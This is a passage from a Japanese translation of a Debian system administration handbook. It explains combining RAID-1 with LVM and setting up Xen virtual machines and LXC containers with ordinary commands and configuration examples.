そしてもちろん、最後の本当に興味深い利用形態はストレージシステムにハードウェア障害に対する耐性を持たせさらにボリューム分割に対する柔軟性を持たせる必要がある場合の利用形態です。RAID と LVM のどちらも片方だけで両方の要求を満足させることは不可能です。しかし心配ありません。この要求を満足させるには RAID と LVM の両方を同時に使用する方針、正確に言えば一方の上に他方を構成する方針を採用すれば良いでのです。RAID と LVM の高い成熟度のおかげでほぼ標準になりつつある方針に従うならば、最初にディスクを少数の大きな RAID アレイにグループ分けすることでデータの冗長性を確保します。さらにそれらの RAID アレイを LVM の PV として使います。そして、ファイルシステム用の VG から分割された LV を論理パーティションとして使います。この標準的な方針の優れた点は、ディスク障害が起きた場合に再構築しなければいけない RAID アレイの数が少ない点です。このため、管理者は復旧に必要な時間を減らすことが可能です。

ここで具体例を見てみましょう。たとえば Falcot Corp の広報課は動画編集用にワークステーションを必要としていますが、広報課の予算の都合上、最初から高性能のハードウェアに投資することは不可能です。こ

のため、グラフィック性能を担うハードウェア (モニタとビデオカード) に大きな予算を割き、ストレージ用には一般的なハードウェアを使うことが決定されました。しかしながら、広く知られている通りデジタルビデオ用のストレージはある種の条件を必要とします。すなわち、保存されるデータのサイズが大きく、このデータを読み込みおよび書き込みする際の処理速度がシステム全体の性能にとって重要 (たとえば、平均的なアクセス時間よりも重要) という条件です。この条件を一般的なハードウェアを使って満足させる必要があります。今回の場合 2 台の SATA ハードディスクドライブを使います。さらに、システムデータと一部のユーザデータはハードウェア障害に対する耐性を持たせる必要があります。編集済みのビデオクリップを保護する必要はありますが、編集前のビデオ素材をそれほど気にする必要はありません。なぜなら、編集前のビデオ素材はまだビデオテープに残されているからです。

前述の条件を満足させるために RAID-1 と LVM を組み合わせます。ディスクの並行アクセスを最適化し、そして障害が同時に発生する危険性を減らすために、各ディスクは 2 つの異なる SATA コントローラに接続されています。このため、各ディスクは sda と sdc として現れます。どちらのディスクも以下に示したパーティショニング方針に従ってパーティショニングされます。

```
# fdisk -l /dev/sda

Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00039a9f

Device     Boot      Start        End    Sectors  Size  Id  Type
/dev/sda1  *          2048    1992060    1990012  1.0G  fd  Linux raid autodetect
/dev/sda2         1992061    3984120    1992059  1.0G  82  Linux swap / Solaris
/dev/sda3         4000185  586099395  582099210  298G  5   Extended
/dev/sda5         4000185  203977305  199977120  102G  fd  Linux raid autodetect
/dev/sda6       203977306  403970490  199993184  102G  fd  Linux raid autodetect
/dev/sda7       403970491  586099395  182128904   93G  8e  Linux LVM
```

- sda1 と sdc1 パーティション (約 1 GB) から RAID-1 ボリューム md0 を構成します。md0 はルートファイルシステムを保存するために直接的に使われます。
- sda2 と sdc2 パーティションから swap パーティションを作成します。スワップ領域のサイズは合計で 2 GB になります。RAM のサイズ 1 GB と合わせれば、ワークステーションで利用できるメモリサイズは十分な量と言えます。
- sda5 と sdc5 パーティションおよび sda6 と sdc6 パーティションからそれぞれ約 100 GB の 2 つの新しい RAID-1 ボリューム md1 と md2 を構成します。md1 と md2 は LVM の PV として初期化され、これらの PV から vg_raid VG を構成します。vg_raid は約 200 GB の安全な領域になります。
- 残りのパーティションである sda7 と sdc7 はそのまま LVM の PV として初期化され、これらの PV から vg_bulk VG を構成します。vg_bulk はおよそ 200 GB の領域になります。

VG を作成したら、VG をとても柔軟な方法で LV に分割することが可能です。vg_raid から分割された LV は 1 台のディスク障害に対して耐性を持ちますが、vg_bulk から分割された LV はディスク障害に対する耐性を持

たない点を忘れないでください。逆に、vg_bulk は両方のディスクにわたって割り当てられるので、vg_bulk から分割された LV に保存された巨大なファイルの読み書き速度は高速化されるでしょう。

vg_raid から lv_usr、lv_var、lv_home を分割し、各 LV に応じたファイルシステムをホストさせます。さらに、vg_raid からもう一つの大きな LV である lv_movies を分割し、lv_movies に編集済みの最終版の映像をホストさせます。また、vg_bulk からデジタルビデオカメラから取り出したデータ用の大きな lv_rushes と一時ファイル用の lv_tmp を分割します。vg_raid と vg_bulk のどちらから作業領域用の LV を分割するかは簡単に決められるものではありません。つまり、作業領域用の LV は良い性能を必要としますが、編集作業中にディスク障害が起きた場合に作業内容を保護する必要があるでしょうか? この質問の回答次第で、作業領域用の LV を vg_raid か vg_bulk のどちらの VG に作成するかが決まります。

これで、重要なデータ用に多少の冗長性と、利用できる領域が用途ごとにどのように分割されるかに関する大きな柔軟性が確保されました。後から (たとえば音声クリップの編集用に) 新しいソフトウェアをインストールする場合も、/usr/ をホストしている LV のサイズを簡単に増加することが可能です。

NOTE

なぜ 3 種類の RAID-1 ボリュームが必要なのでしょうか?

RAID-1 ボリュームを 1 つだけ作成し、作成した PV から vg_raid を構成し、vg_raid から保護したい内容用の LV を分割することも可能でした。それにも関わらず、なぜ 3 種類の RAID-1 ボリュームを作成したのでしょうか?

最初の分割 (md0 とその他) の根本的理由はデータの安全性を考慮したためです。つまり RAID-1 ミラーを構成する要素に書き込まれるデータは要素同士で全く同じだからです。そのため RAID 層を迂回し、RAID-1 ミラーを構成する 1 台のディスクだけを直接マウントすることが可能です。すなわち、カーネルにバグがあったり LVM メタ情報が破壊されたりした場合でも、RAID と LVM ボリュームに含まれるディスクの配置などの重要なデータにアクセスするために最小限のシステムを起動することが可能ということです。そして、このメタ情報を再構成したりファイルにアクセスしたりすることが可能です。こうすることで、システムを正常状態に戻すことが可能です。

2 番目の分割 (md1 と md2) の根本的理由は明確というわけではありませんが、将来の不明確さを認めていることに関連します。動画編集用ワークステーションを最初に組み上げる時点で、要求される正確なストレージサイズを完全な精度で知ることは不可能です。それどころか、ストレージサイズは時間経過に従い増加するかもしれません。今回の場合、ビデオ素材用の lv_rushes と編集済みビデオクリップ用の lv_movies に対して実際に要求されるストレージサイズを事前に知ることはできません。とても大きな量の素材を必要とするクリップを lv_rushes に保存する必要があり、さらに冗長性データ用 VG である vg_raid のまだ半分以上が未使用状態ならば、vg_raid から未使用領域を再利用することが可能です。具体的には vg_raid の構成要素から片方の PV (たとえば md2) を削除し、md2 を vg_bulk を構成する PV として初期化するか (予想される作業時間が一時的な性能の低下を許容できる程度に十分短い場合に限ります)、md2 の RAID-1 セットアップを破棄してその構成要素である sda6 と sdc6 を vg_bulk を構成する PV として初期化する (この場合 100 GB ではなく 200 GB の増加になります) ことが可能です。そして lv_rushes を必要に応じて増加させることが可能です。

12.2. 仮想化

仮想化は最近のコンピューティングにおける最も大きな進歩の 1 つです。仮想化という用語は、実際のハードウェアに対するさまざまな独立性の度合いを持つ仮想コンピュータを模倣するさまざまな抽象化と技術を指します。1 台の物理的なサーバが同時かつ隔離された状態で動く複数のシステムをホストすることが可能です。仮想化アプリケーションは数多く存在し、隔離された仮想システムを使うことができます。たとえば、

さまざまに設定されたテスト環境を作ったり、安全性を確保する目的で異なる仮想マシン間でホストされたサービスを分離したりすることが可能です。

複数の仮想化ソリューションが存在し、それぞれが利点と欠点を持っています。本書では Xen、LXC、KVM に注目しますが、他にも以下のような注目すべき実装が存在します。

- QEMU は完全なコンピュータを模倣するソフトウェアエミュレータです。このため QEMU の性能はネイティブに実行した場合の速度には遠くおよびませんが、QEMU を使うことで修正されていなかったり実験的なオペレーティングシステムをエミュレートされたハードウェア上で実行することが可能です。さらに QEMU は異なるハードウェアアーキテクチャをエミュレートすることが可能です。たとえば、**amd64** システムで **arm** コンピュータをエミュレートすることが可能です。QEMU はフリーソフトウェアです。

  ➡ `http://www.qemu.org/`

- Bochs は自由な仮想マシンですが、x86 アーキテクチャ (i386 と amd64) だけをエミュレートすることが可能です。

- VMWare はプロプライエタリの仮想マシンです。VMWare はこの分野で最も古く、最も広く使われているソフトウェアの 1 つです。VMWare は QEMU とよく似た原理で動いています。VMWare には実行中の仮想マシンのスナップショットなどの高度な機能が含まれています。

  ➡ `http://www.vmware.com/`

- VirtualBox はほぼ自由なソフトウェアの仮想マシンです (一部の追加的な構成要素はプロプライエタリライセンスの下で利用できます)。残念なことに VirtualBox は Debian の「contrib」セクションにあります。なぜなら VirtualBox にはいくつかのコンパイル済みファイルが含まれ、このファイルを再ビルドするにはプロプライエタリコンパイラが必要だからです。また、今のところ VirtualBox を含めることはできるのは Debian 不安定版に限られます。なぜなら Oracle の方針に従うと Debian 安定版に VirtualBox を含めることはできないからです (#794466[1] を参照してください)。VirtualBox は VMWare よりも歴史が浅く、i386 と amd64 アーキテクチャだけをサポートします。しかしながら、VirtualBox はスナップショットやその他の興味深い機能を備えています。

  ➡ `http://www.virtualbox.org/`

12.2.1. Xen

Xen は「準仮想化」ソリューションです。Xen には薄い抽象化層が含まれ、この抽象化層は「ハイパーバイザ」と呼ばれ、ハードウェアとその上にあるシステムの間に位置します。さらにハイパーバイザは審判員として振る舞い、仮想マシンからハードウェアへのアクセスを制御します。しかしながら、Xen ハイパーバイザは命令のほんの一部だけを取り扱い、残りは Xen ハイパーバイザではなくハードウェアによって直接的に実行されます。こうすることによる主な有効性は性能が低下せず、システムがネイティブ速度に迫る性能を発揮するという点です。一方で欠点は Xen ハイパーバイザ上でオペレーティングシステムを実行するには実行されるオペレーティングシステムのカーネルを修正しなければいけないという点です。

用語の解説に少し時間を割きましょう。Xen ハイパーバイザはカーネルよりも下層の最も低い層に位置し、ハードウェア上で直接動きます。Xen ハイパーバイザは残りのソフトウェアをいくつかの**ドメイン**に分割することが可能で、**ドメイン**は多数の仮想マシンと考えられます。これらのドメインの 1 つ (最初に起動された

[1] `https://bugs.debian.org/794466`

もの) は **dom0** と呼ばれ、特別な役割を担います。なぜなら、**dom0** だけが Xen ハイパーバイザを制御することが可能だからです。他のドメインは **domU** として知られています。ユーザ視点で言い換えれば、**dom0** は他の仮想システムにおける「ホスト」、これに対して **domU** は「ゲスト」になります。

CULTURE

Xen と Linux のさまざまなバージョン

当初 Xen は Linux 公式ツリーの外部パッチとして開発され、Linux カーネルに組み込まれていませんでした。これと同時期に、複数の次世代仮想化システム (KVM など) は Linux カーネルへの組み込みを簡単にするためにいくつかの包括的な仮想化関連関数を必要としており、さらに Linux カーネルが (**paravirt_ops** または **pv_ops** インターフェースとして知られる) 一連の仮想化関連関数を獲得しました。Xen のパッチはこのインターフェースのいくつかの機能を複製していたため、Xen のパッチは公式に受け入れられませんでした。

このため、Xen を影で支える会社の Xensource は新しく Linux カーネルに取り込まれた仮想化関連関数を使って Xen を移植しなければいけませんでした。この移植作業により、Xen のパッチを公式の Linux カーネルに取り込むことが可能になりました。この移植作業は多くのコードを書き換えることを意味していました。Xensource はすぐに paravirt_ops インターフェースを使って評価版を作ったにも関わらず、Xen のパッチを公式カーネルにマージする作業はゆっくりと進みました。マージか完了したのは Linux 3.0 です。

➨ `http://wiki.xenproject.org/wiki/XenParavirtOps`

Jessie は Linux カーネルのバージョン 3.16 に基づくため、標準的な **linux-image-686-pae** と **linux-image-amd64** パッケージには Xen を動作させるために必要なコードが含まれます。Debian の **Squeeze** およびそれ以前のバージョンで必要とされていたディストリビューションに特有のパッチ作業はもはや必要ありません。

➨ `http://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix`

NOTE

Xen 互換のアーキテクチャ

現在のところ、Xen を利用できるのは i386、amd64、arm64、armhf アーキテクチャだけです。

CULTURE

Xen と非 Linux カーネル

Xen 上でオペレーティングシステムを動作させるには、いかなるオペレーティングシステムであってもそれを修正する必要があります。さらに、すべてのオペレーティングシステムのカーネルが修正点に関して同じ程度の成熟度を持っているとは限りません。多くのオペレーティングシステムは dom0 および domU として完全に動作します。具体的に言えば、Linux 3.0 とそれ以降、NetBSD 4.0 とそれ以降、OpenSolaris は dom0 および domU として完全に動作します。また、他のオペレーティングシステムは dom0 としては動作せず domU として動作します。dom0 および domU として動作するオペレーティングシステムの状況を確認するには Xen のウィキに含まれる該当ページをご覧ください。

➨ `http://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen`

➨ `http://wiki.xenproject.org/wiki/DomU_Support_for_Xen`

しかしながら、Xen で仮想化専用のハードウェア機能 (最近のプロセッサだけが搭載した機能) に依存するオペレーティングシステムを動作させる場合や、修正されていないオペレーティングシステム (Windows など) を動作させる場合、そのオペレーティングシステムは domU としてのみ動作します。

Debian の下で Xen を使うには 3 つの要素が必要です。

- Xen ハイパーバイザ自身。適切なパッケージは利用できるハードウェアによって決まります。すなわち **xen-hypervisor-4.4-amd64**、**xen-hypervisor-4.4-armhf**、**xen-hypervisor-4.4-arm64** のうちどれか 1 つが必要です。

- ハイパーバイザ上で実行するカーネル。バージョン 3.0 より新しい Linux カーネルが動作します。**Jessie** に含まれる Linux カーネルのバージョンは 3.16 なのでこれも動作します。
- さらに i386 アーキテクチャでは、Xen を活用するための適切なパッチを組み込んだ標準的なライブラリが必要です。このライブラリは **libc6-xen** パッケージに含まれます。

複数の構成要素を手作業で選択するという煩わしさを避けるために、いくつかの便利なパッケージ (**xen-linux-system-amd64** など) が用意されています。これらのパッケージをインストールすることで、適切な Xen ハイパーバイザとカーネルパッケージが既知の良い組み合わせで導入されます。ここで導入される Xen ハイパーバイザには **xen-utils-4.4** が含まれます。**xen-utils-4.4** パッケージには dom0 からハイパーバイザを操作するためのツールが含まれます。同様に、**xen-utils-4.4** パッケージには適切な標準的ライブラリが含まれます。すべてのインストール中に、設定スクリプトは Grub ブートローダメニューに新しいエントリを作成します。こうすることで Xen dom0 から選択されたカーネルを開始することが可能です。しかしながら、通常このエントリはリストの最初に置かれないため、デフォルトで選択されません。この点に注意してください。これを望まない場合、以下のコマンドを使って変更してください。

```
# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen
# update-grub
```

これらの前提要件をインストールしたら、次に dom0 の挙動をテストします。テストを行うには、Xen ハイパーバイザと Xen カーネルの再起動が必要です。システムは標準的な方法で起動するべきです。初期化の早い段階でコンソールにいくつかの追加的メッセージが表示されます。

これで、実用システムを domU システムに実際にインストールできるようになりました。これを行うには **xen-tools** に含まれるツールを使います。**xen-tools** パッケージには `xen-create-image` コマンドが含まれます。`xen-create-image` コマンドはインストール作業の大部分を自動化します。必須のパラメータは --hostname だけで、このパラメータは domU の名前を設定します。他のオプションは重要ですが、オプションを `/etc/xen-tools/xen-tools.conf` 設定ファイルに保存することが可能です。そして、コマンドラインでオプションを指定しなくてもエラーは起きません。このため、イメージを作る前にこのファイルの内容を確認するか、`xen-create-image` の実行時に追加的パラメータを使うことが重要です。以下に注目すべき重要なパラメータを示します。

- --memory。新たに作成する domU システム専用の RAM のサイズを指定します。
- --size と --swap。domU で利用できる「仮想ディスク」のサイズを定義します。
- --debootstrap。`debootstrap` を使って新しいシステムをインストールします。このオプションを使う場合、--dist オプション (ディストリビューションの名前、たとえば **jessie**) を一緒に使うことが多いです。

> **GOING FURTHER**
> **非 Debian システムを domU にインストール**
>
> 非 Linux システムを domU にインストールする場合、`--kernel` オプションを使って、domU で使うカーネルを定義しなければいけない点に注意してください。

- --dhcp。domU のネットワーク設定を DHCP で取得することを宣言します。対して、--ip は静的 IP アドレスを定義します。
- 最後に、作成されるイメージ (domU からはハードディスクドライブに見えるイメージ) の保存方法を選択します。最も簡単な方法は、--dir オプションを使い、各 domU を格納するデバイス用のファイルを dom0 上に作成する方法です。LVM を使っているシステムでは、--lvm オプションを使い、VG の名

前を指定しても良いでしょう。この場合 xen-create-image は指定された VG から新しい LV を分割し、この LV をハードディスクドライブとして domU から利用できるようにします。

NOTE

domU 内のストレージ

ハードディスク全体、パーティション、RAID アレイ、既存の LVM の LV を domU に書き出すことも可能です。xen-create-image を使ってもこれらの操作を自動化することは不可能ですが、xen-create-image を使って Xen イメージの設定ファイルを作成した後にその設定ファイルを編集することで対応する操作が可能です。

これらを選んだ後、将来の Xen domU 用のイメージを作成することが可能です。

```
# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=jessie
    ➥ --role=udev

[...]
General Information
--------------------
Hostname       :  testxen
Distribution   :  jessie
Mirror         :  http://ftp.debian.org/debian/
Partitions     :  swap            128Mb (swap)
                  /               2G    (ext3)
Image type     :  sparse
Memory size    :  128Mb
Kernel path    :  /boot/vmlinuz-3.16.0-4-amd64
Initrd path    :  /boot/initrd.img-3.16.0-4-amd64
[...]
Logfile produced at:
         /var/log/xen-tools/testxen.log

Installation Summary
---------------------
Hostname        :  testxen
Distribution    :  jessie
MAC Address     :  00:16:3E:8E:67:5C
IP-Address(es)  :  dynamic
RSA Fingerprint :  0a:6e:71:98:95:46:64:ec:80:37:63:18:73:04:dd:2b
Root Password   :  adaX2jyRHNuWm8BDJS7PcEJ
```

これで仮想マシンが作成されましたが、仮想マシンはまだ実行されていません (このため dom0 のハードディスク上の領域が使われているだけです)。もちろん、異なるパラメータを使ってより多くのイメージを作成することが可能です。

仮想マシンを起動する前に、仮想マシンにアクセスする方法を定義します。もちろん仮想マシンは隔離されたマシンですから、仮想マシンにアクセスする唯一の方法はシステムコンソールだけです。しかし、システムコンソールだけで要求を満足できることはほとんどないと言っても過言ではありません。ほとんどの時間、domU はリモートサーバとして機能し、ネットワークを通じてのみアクセスされます。しかしながら、各 domU 専用のネットワークカードを追加するのはかなり不便です。このため Xen は仮想インターフェースの作成機能を備えています。各ドメインは仮想インターフェースを参照し、標準的な方法で使うことが可能です。これらのネットワークカードは仮想的なものですが、ネットワークに接続されている状況下でのみ役に立つという点に注意してください。Xen は以下に挙げる複数のネットワークモデルを備えています。

- 最も単純なモデルは **bridge** モデルです。この場合、すべての eth0 ネットワークカードが (dom0 と domU システムに含まれるものも含めて) 直接的にイーサネットスイッチに接続されているかのように振る舞います。
- 2 番目に単純なモデルは **routing** モデルです。これは dom0 が domU システムと (物理) 外部ネットワークの間に位置するルータとして振る舞うモデルです。
- 最後が **NAT** モデルです。これは dom0 が domU システムとその他のネットワークの間に位置するモデルですが、domU システムに外部から直接アクセスすることは不可能です。dom0 の行ういくつかのネットワークアドレス変換がトラフィックを仲介します。

これら 3 種類のネットワークノードは `vif*`、`veth*`、`peth*`、`xenbr0` などの独特な名前を付けられた数多くのインターフェースと関係を持ちます。Xen ハイパーバイザは定義された配置に従いユーザ空間ツールの制御の下でインターフェースを準備します。NAT と routing モデルは特定の場合にのみ適合します。このためわれわれは bridge モデルを使います。

Xen パッケージの標準的な設定はシステム全体のネットワーク設定を変更しません。しかしながら、`xend` デーモンは既存のネットワークブリッジの中に仮想ネットワークインターフェースを組み込むように設定されています (複数のブリッジが存在する場合 `xenbr0` を優先します)。このためここでは `/etc/network/interfaces` の中にブリッジをセットアップして (**bridge-utils** パッケージをインストールする必要があります。このため **bridge-utils** パッケージは **xen-utils-4.4** パッケージの推奨パッケージになっています)、既存の eth0 エントリを置き替えます。

```
auto xenbr0
iface xenbr0 inet dhcp
    bridge_ports eth0
    bridge_maxwait 0
```

再起動して、ブリッジが自動的に作成されることを確認します。この後 Xen 制御ツール、特に `xl` コマンドを使って domU を起動することが可能です。また、`xl` を使ってドメインを表示、起動、終了するなどの操作を行うことが可能です。

```
# xl list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0   463     1     r-----      9.8
# xl create /etc/xen/testxen.cfg
Parsing config from /etc/xen/testxen.cfg
# xl list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0   366     1     r-----     11.4
testxen                                      1   128     1     -b----      1.1
```

TOOL

Xen VM を管理するツールスタックの選択

Debian 7 および Debian 7 よりも古いリリースでは、`xm` が Xen 仮想マシンの管理に使うための標準的なコマンドラインツールでした。現在 `xm` はほぼ後方互換性を持つ `xl` によって置き換えられました。しかし、利用できるツールは `xm` および `xl` だけではありません。代替ツールとしては、libvirt を操作する `virsh` と XenServer (Xen の商用版) の XAPI を操作する `xe` が存在します。

CAUTION

1 つのイメージに 1 台以上の domU を割り当てないでください!

もちろん複数の domU システムを並列実行させることは可能ですが、各 domU システムは専用のイメージを必要とします。なぜなら、各 domU は自分に割り当てられたハードウェアを専有するという仮定に基づいて実行されるからです (ハイパーバイザとやり取りするカーネルの一部分は別です)。特に、ストレージ領域を共有する目的で 2 つの domU システムを同時に起動することは不可能です。2 つの domU システムが同時に起動していなければ、両者はストレージ領域を共有して、単独のスワップパーティションや /home ファイルシステムをホストしているパーティションを再利用することが可能です。

testxen domU は仮想メモリではなく RAM から取った物理メモリを使います。このメモリ領域は testxen domU が起動していなければ dom0 が使えるメモリ領域だったという点に注意してください。このため、サーバを作ることが Xen インスタンスをホストすることを意味する場合、それに応じて十分なサイズの物理 RAM が必要になるという点に注意が必要です。

おめでとうございます! 仮想マシンが開始されました。仮想マシンにアクセスするには 2 種類の方法があります。通常の方法は、真のマシンに接続するのと同様に、ネットワークを介して「リモートで」仮想マシンに接続することです。そしてこれを行うには、通常別の DHCP サーバや DNS 設定をセットアップすることが必要です。別の方法は xl console コマンドから hvc0 コンソールを使う方法です。ネットワーク設定が正しくない場合にはこれが唯一の方法です。

```
# xl console testxen
[...]

Debian GNU/Linux 8 testxen hvc0

testxen login:
```

仮想マシンのキーボードの前に座っているかのごとくセッションを開くことが可能です。このコンソールからデタッチするには、Control+] キーの組み合わせを使用します。

TIP

すぐにコンソールを開始する

domU システムの開始直後にコンソールを始めたい場合があります。そしてこの希望に応えるために xl create コマンドは -c オプションを備えています。-c オプションを付けて domU を開始すれば、システム起動時に表示されるすべてのメッセージを見ることが可能です。

TOOL

OpenXenManager

OpenXenManager (**openxenmanager** パッケージに含まれます) はグラフィカルインターフェースです。これ使うことで Xen API を介して Xen ドメインのリモート管理することが可能です。このため、Xen ドメインをリモートで制御することが可能です。OpenXenManager は xl コマンドの機能のほとんどを備えています。

domU の起動完了後、domU は他のサーバと同様に使うことが可能です (domU は結局 GNU/Linux システムに過ぎません)。しかしながら、domU の仮想マシンの状態はいくつかの追加的機能を備えています。たとえば、xl pause と xl unpause コマンドを使って domU を一時的に停止したり再開することが可能です。一時的に停止された domU は全くプロセッサを使いませんが、割り当てられたメモリを解放しません。xl save と xl restore コマンドを考慮することは興味深いかもしれません。なぜなら xl save で domU を保存すれば domU の使っていた RAM などの資源が解放されるからです。また、xl restore で domU を元に戻す時 (ついでに言えば xl unpause で再開する時)、domU は時間が経過したことに全く気が付きません。dom0 を停止

した時に domU が動いていた場合、パッケージに含まれるスクリプトが自動的に `xl save` で domU を保存し、dom0 の次回起動時に自動的に `xl restore` で domU を再開します。もちろんこれにはラップトップコンピュータをハイバネートする場合と同様の標準的な不便さがあります。特に、domU が長い間一時停止されていた場合、ネットワーク接続が切断される可能性があります。今現在 Xen は ACPI 電源管理のほとんどに互換性がない点にも注意してください。このため、ホスト (dom0) システムを一時停止することは不可能です。

DOCUMENTATION

xl のオプション

`xl` サブコマンドのほとんどは domU の名前などの 1 つか複数個の引数を取ります。これらの引数は `xl(1)` マニュアルページは詳しく説明されています。

domU を停止したり再起動するには、domU の内部から (`shutdown` コマンドを使って) 行ったり、dom0 から `xl shutdown` または `xl reboot` を使って行うことも可能です。

GOING FURTHER

Xen の上級活用

Xen はここで示すことができた数項だけにとどまらない多くの機能を持っています。特に、Xen はシステムを動的に変更することが可能です。すなわちドメインに対する多くのパラメータ (割り当てメモリサイズ、見えるハードドライブ、タスクスケジューラの挙動など) をドメインの実行中に調整することが可能です。domU はシャットダウンすることもネットワーク接続を失うこともなくサーバ間を移動することさえ可能です! すべての上級活用法に関して、最良の情報源は公式の Xen 文書です。

➨ `http://www.xen.org/support/documentation.html`

12.2.2. LXC

LXC は「仮想マシン」を作るために使われるにも関わらず、厳密に言うと仮想システムではなく、同じホスト上で実行されるプロセスのグループを隔離するためのシステムです。LXC は近年 Linux カーネルに対して行われた数々の機能の利点を活用しています。これらの機能はまとめて **control groups** として知られています。**control groups** を使うことにより、「グループ」と呼ばれるさまざまなプロセス群に対してシステム全体の特定の側面の状態を強制することが可能です。中でも最も注目すべき側面はプロセス ID、ネットワーク接続、マウントポイントです。隔離されたプロセスのグループはシステムの他のプロセスにアクセスできませんし、グループによるファイルシステムへのアクセスを特定の一部に限定することが可能です。さらにグループにネットワークインターフェースとルーティングテーブルを設定することにより、グループがシステム上の利用できるデバイスの一部だけを見えるように設定することが可能です。

これらの機能を組み合わせることで、`init` プロセスから起動されたすべてのプロセスファミリーを隔離することが可能です。その結果、仮想マシンにとてもよく似たものが作られます。このようなセットアップの正式名称が「コンテナ」です (LXC の名称 **LinuX Containers** はこれに由来しています)。Xen や KVM が提供する「真の」仮想マシンとのより重要な違いは仮想マシン用のカーネルがない点です。このため、コンテナはホストシステムと全く同じカーネルを使います。これには利点と欠点があります。すなわち、利点はオーバーヘッドが全くないことで素晴らしい性能を得ることが可能という点とカーネルはシステムで実行しているすべてのプロセスを見ることが可能という点です。このため 2 つの独立したカーネルが異なるタスクセットでスケジュールを行うよりも効果的なスケジューリングが可能です。欠点の最たるものはコンテナの中で異なるカーネルを動作させることが不可能という点です (異なる Linux バージョンや異なるオペレーティングシステムを同時に動かすことができません)。

NOTE

LXC の隔離制限

LXC コンテナは負荷の大きなエミュレータやバーチャライザが備える隔離機能を備えていません。たとえば以下のような機能を備えていません。

- カーネルはホストシステムとコンテナによって共有されているため、コンテナ内に隔離されているプロセスはカーネルメッセージにアクセスできます。このことにより、メッセージがコンテナによって発せられた場合、情報が漏洩する可能性があります。
- 同様の理由で、コンテナが不正アクセスされカーネルの脆弱性が悪用された場合、他のコンテナが影響を受ける可能性があります。
- ファイルシステムについて、カーネルはユーザとグループの数値的な識別子に従ってパーミッションを確認します。これらの識別子の意味するユーザとグループはコンテナごとに異なります。ファイルシステムの書き込み可能な部分がコンテナ同士で共有されている場合、この点を覚えておくべきです。

LXC による隔離は単純な仮想化と異なるため、LXC コンテナを設定することは仮想マシン上で単純に debian-installer を実行するよりも複雑な作業です。このため、いくつかの必要条件を説明した後、ネットワーク設定を行います。こうすることで、コンテナの中で実行するシステムを実際に作成することが可能です。

準備段階

lxc パッケージには LXC を実行するために必要なツールが含まれるため、必ずこのパッケージをインストールしなければいけません。

LXC を使うには **control groups** 設定システムが必要で、`/sys/fs/cgroup` に仮想ファイルシステムをマウントする必要があります。Debian 8 からは init システムとして systemd が採用されており、systemd は **control groups** に依存しているため、設定せずとも `/sys/fs/cgroup` は起動時に自動でマウントされます。

ネットワークの設定

LXC をインストールする目的は仮想マシンをセットアップすることです。もちろん、仮想マシンをネットワークから隔離するように設定したり、ファイルシステムを介してのみ情報をやり取りするように設定することも可能ですが、コンテナに対して少なくとも最低限のネットワークアクセスを提供するように設定するのが一般的です。典型的な場合、各コンテナにはブリッジを介して実際のネットワークに接続された仮想ネットワークインターフェースが備えられています。この仮想インターフェースは、直接ホスト上の物理ネットワークインターフェースに接続されているか (この場合、コンテナは直接ネットワークに接続されています)、ホスト上に定義された他の仮想インターフェースに接続されています (ホストからトラフィックをフィルタしたり配送することが可能です)。どちらの場合も、**bridge-utils** パッケージが必要です。

最も簡単なやり方は `/etc/network/interfaces` を編集することです。物理インターフェース (たとえば eth0) に関する設定をブリッジインターフェース (通常 br0) に変え、物理とブリッジインターフェース間のリンクを設定します。たとえば、最初にネットワークインターフェース設定ファイルが以下のようなエントリを持っていたとします。

```
auto eth0
iface eth0 inet dhcp
```

このエントリを無効化し、以下の通り書き換えます。

```
#auto eth0
#iface eth0 inet dhcp

auto br0
iface br0 inet dhcp
  bridge_ports eth0
```

この設定により、コンテナをホストと同じ物理ネットワークに接続されたマシンとして考えた場合と、同様の効果が得られます。この「ブリッジ」設定はすべてのブリッジされたインターフェース間のイーサネットフレームの通過を管理します。これには物理的な eth0 およびコンテナ用に定義されたインターフェースが含まれます。

この設定を使うことができない場合 (たとえば、公開 IP アドレスをコンテナに割り当てることができない場合)、仮想 **tap** インターフェースを作成し、これをブリッジに接続します。これと等価なネットワークトポロジーは、ホストの 2 番目のネットワークカードが分離されたスイッチに接続されている状態です。コンテナはこのスイッチに接続されています。コンテナが外部と通信するには、ホストがコンテナ用のゲートウェイとして振る舞わなければいけません。

この「ぜいたくな」設定を行うには **bridge-utils** と **vde2** パッケージが必要です。/etc/network/interfaces ファイルは以下のようになります。

```
# eth0 インターフェースは同じものを使います
auto eth0
iface eth0 inet dhcp

# 仮想インターフェース
auto tap0
iface tap0 inet manual
  vde2-switch -t tap0

# コンテナ用のブリッジ
auto br0
iface br0 inet static
  bridge_ports tap0
  address 10.0.0.1
  netmask 255.255.255.0
```

コンテナのネットワークは静的またはコンテナのホスト上で動く DHCP サーバを使って動的に設定されます。また、DHCP サーバを br0 インターフェースを介した問い合わせに応答するように設定する必要があります。

システムのセットアップ

それではコンテナがファイルシステムを使うようにファイルシステムを設定しましょう。コンテナという「仮想マシン」はハードウェア上で直接的に実行されないため、標準的なファイルシステムに比べていくつかの微調整を必要とします。これは特にカーネル、デバイス、コンソールが該当します。幸いなことに、**lxc** にはこの設定をほぼ自動化するスクリプトが含まれます。たとえば、以下のコマンド (**debootstrap** と **rsync** パッケージが必要です) で Debian コンテナがインストールされます。

```
root@mirwiz:~# lxc-create -n testlxc -t debian
debootstrap は /usr/sbin/debootstrap です
Checking cache download in /var/cache/lxc/debian/rootfs-jessie-amd64 ...
Downloading debian minimal ...
I: Retrieving Release
I: Retrieving Release.gpg
[...]
Download complete.
Copying rootfs to /var/lib/lxc/testlxc/rootfs...
[...]
Root password is 'sSiKhMzI', please change !
root@mirwiz:~#
```

ファイルシステムは最初に /var/cache/lxc の中に作成され、その後目的のディレクトリに移動されます。こうすることで、同一のコンテナが極めて素早く作成されます。なぜなら、単純にコピーするだけだからです。

